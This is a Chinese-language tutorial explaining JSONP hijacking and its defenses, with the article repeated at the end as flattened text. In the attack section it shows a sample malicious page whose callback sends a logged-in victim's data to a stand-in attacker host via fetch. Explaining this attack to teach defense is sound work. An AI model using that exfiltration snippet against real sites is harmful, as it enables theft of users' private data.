JSONP劫持攻击原理与防御
字数 1047 2025-11-10 19:50:31

JSONP劫持攻击原理与防御

1. JSONP劫攻击概述
JSONP(JSON with Padding)是一种跨域数据交互的变通方案,通过<script>标签的跨域特性实现数据获取。但若未严格校验请求来源,攻击者可利用此特性窃取用户敏感数据。

2. JSONP的工作原理

  • 跨域限制的绕过:浏览器同源策略禁止页面跨域读取数据,但<script>标签的src属性可跨域加载JS文件。
  • 回调机制:服务器返回的数据包裹在回调函数中,例如:
    // 客户端定义回调函数
    function handleResponse(data) {
      console.log(data);
    }
    // 请求的URL包含回调函数名
    <script src="https://api.example.com/userinfo?callback=handleResponse"></script>
    
    服务器返回:handleResponse({"user": "Alice", "email": "alice@example.com"});
    浏览器执行此JS代码,触发客户端回调函数处理数据。

3. JSONP劫持攻击步骤
假设存在一个返回用户敏感信息的JSONP接口(如https://api.victim.com/user?callback=getUser),且未验证请求来源:

  1. 攻击者构造恶意页面
    <script>
    function getUser(data) {
      // 将用户数据发送到攻击者服务器
      fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
    }
    </script>
    <script src="https://api.victim.com/user?callback=getUser"></script>
    
  2. 诱导用户访问恶意页面:通过钓鱼邮件、恶意广告等方式诱使用户点击。
  3. 数据窃取:用户浏览器自动执行JSONP请求,因已登录受害网站,请求会携带身份凭证(如Cookie),服务器返回数据后触发攻击者定义的回调函数,数据被窃取。

4. 攻击成功的关键条件

  • 接口使用JSONP方式返回敏感数据。
  • 未校验Referer头或Origin头,允许任意网站跨域调用。
  • 用户处于已登录状态(会话有效)。

5. 防御措施

  • 严格校验来源
    • 检查Referer头是否来自可信域名(注意Referer可能被篡改或缺失)。
    • 使用CSRF Token验证请求合法性。
  • 禁用JSONP:优先使用CORS(跨域资源共享)替代JSONP,通过服务端设置Access-Control-Allow-Origin控制跨域权限。
  • 内容类型限制:响应头设置Content-Type: application/json,避免浏览器解析为JS。
  • 减少敏感数据暴露:JSONP接口避免返回用户隐私信息。

6. 补充:JSONP与CORS的对比

  • 安全性:CORS需显式配置允许的源,而JSONP默认开放给所有域。
  • 灵活性:CORS支持多种HTTP方法(如POST),JSONP仅限GET请求。
  • 兼容性:JSONP支持老式浏览器,CORS需现代浏览器支持。

通过理解JSONP的机制与风险,可有效避免因过度依赖宽松跨域方案导致的数据泄露。

JSONP劫持攻击原理与防御 1. JSONP劫攻击概述 JSONP(JSON with Padding)是一种跨域数据交互的变通方案,通过 <script> 标签的跨域特性实现数据获取。但若未严格校验请求来源,攻击者可利用此特性窃取用户敏感数据。 2. JSONP的工作原理 跨域限制的绕过 :浏览器同源策略禁止页面跨域读取数据,但 <script> 标签的 src 属性可跨域加载JS文件。 回调机制 :服务器返回的数据包裹在回调函数中,例如: 服务器返回: handleResponse({"user": "Alice", "email": "alice@example.com"}); 浏览器执行此JS代码,触发客户端回调函数处理数据。 3. JSONP劫持攻击步骤 假设存在一个返回用户敏感信息的JSONP接口(如 https://api.victim.com/user?callback=getUser ),且未验证请求来源: 攻击者构造恶意页面 : 诱导用户访问恶意页面 :通过钓鱼邮件、恶意广告等方式诱使用户点击。 数据窃取 :用户浏览器自动执行JSONP请求,因已登录受害网站,请求会携带身份凭证(如Cookie),服务器返回数据后触发攻击者定义的回调函数,数据被窃取。 4. 攻击成功的关键条件 接口使用JSONP方式返回敏感数据。 未校验 Referer 头或 Origin 头,允许任意网站跨域调用。 用户处于已登录状态(会话有效)。 5. 防御措施 严格校验来源 : 检查 Referer 头是否来自可信域名(注意 Referer 可能被篡改或缺失)。 使用CSRF Token验证请求合法性。 禁用JSONP :优先使用CORS(跨域资源共享)替代JSONP,通过服务端设置 Access-Control-Allow-Origin 控制跨域权限。 内容类型限制 :响应头设置 Content-Type: application/json ,避免浏览器解析为JS。 减少敏感数据暴露 :JSONP接口避免返回用户隐私信息。 6. 补充:JSONP与CORS的对比 安全性 :CORS需显式配置允许的源,而JSONP默认开放给所有域。 灵活性 :CORS支持多种HTTP方法(如POST),JSONP仅限GET请求。 兼容性 :JSONP支持老式浏览器,CORS需现代浏览器支持。 通过理解JSONP的机制与风险,可有效避免因过度依赖宽松跨域方案导致的数据泄露。